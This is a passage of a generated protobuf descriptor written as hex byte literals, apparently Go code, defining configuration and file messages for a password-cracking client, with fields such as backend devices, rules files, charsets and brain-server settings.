0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x12, 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, + 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x2c, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x26, + 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, + 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, + 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, + 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x18, 0x31, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, + 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, + 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x32, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, + 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4b, 0x65, + 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, + 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, + 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, + 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x38, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x22, + 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x18, 0x39, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, + 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x18, + 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, + 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, + 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, + 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, + 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, + 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, + 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, + 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, + 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, + 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, + 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, + 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, + 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, + 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, + 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, + 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, + 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x18, 0x43, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x42, + 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, + 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, + 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x42, 0x61, 0x63, 0x6b, + 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e, 0x0a, 0x12, + 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, + 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, + 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, + 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01, 0x28, 0x08, 0x52, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, + 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x12, 0x20, + 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x47, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, + 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, + 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, + 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x18, 0x49, 0x20, + 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, + 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, + 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x18, + 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, + 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34, 0x0a, 0x15, + 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, + 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d, 0x75, 0x6c, + 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, + 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, + 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, + 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57, 0x6f, 0x72, + 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, + 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x12, 0x20, + 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18, 0x4e, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, + 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, + 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, + 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x18, 0x50, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, + 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, + 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, + 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, + 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, + 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, + 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, + 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x1e, + 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x12, 0x12, + 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18, 0x55, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x53, 0x6b, + 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x73, + 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65, 0x79, 0x73, + 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, + 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, + 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, + 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, + 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, + 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x18, + 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, + 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, + 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, + 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32, 0x0a, 0x14, + 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, + 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x14, 0x47, 0x65, 0x6e, 0x65, + 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, + 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, + 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x47, 0x65, 0x6e, + 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x12, 0x26, + 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, + 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, + 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, + 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x18, 0x61, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, + 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x12, 0x26, + 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, + 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, + 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, + 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x18, 0x63, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, + 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x12, 0x1a, + 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x18, 0x64, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, + 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, + 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, + 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, + 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22, 0x0a, 0x0c, + 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, + 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, + 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, + 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, + 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, + 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x72, + 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x6a, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, + 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, + 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72, 0x61, 0x69, + 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x18, + 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, + 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x42, + 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, + 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x72, 0x61, + 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, + 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x42, + 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, + 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x71, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, + 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22, 0x8d, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, + 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, + 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, + 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, + 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, + 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0x87, 0x01, 0x0a, 0x0a, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29, 0x0a, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, + 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, + 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x43, 0x75, 0x72, 0x72, + 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x12, 0x22, 0x0a, 0x0c, + 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, + 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x0e, + 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, + 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, 0x0c, + 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 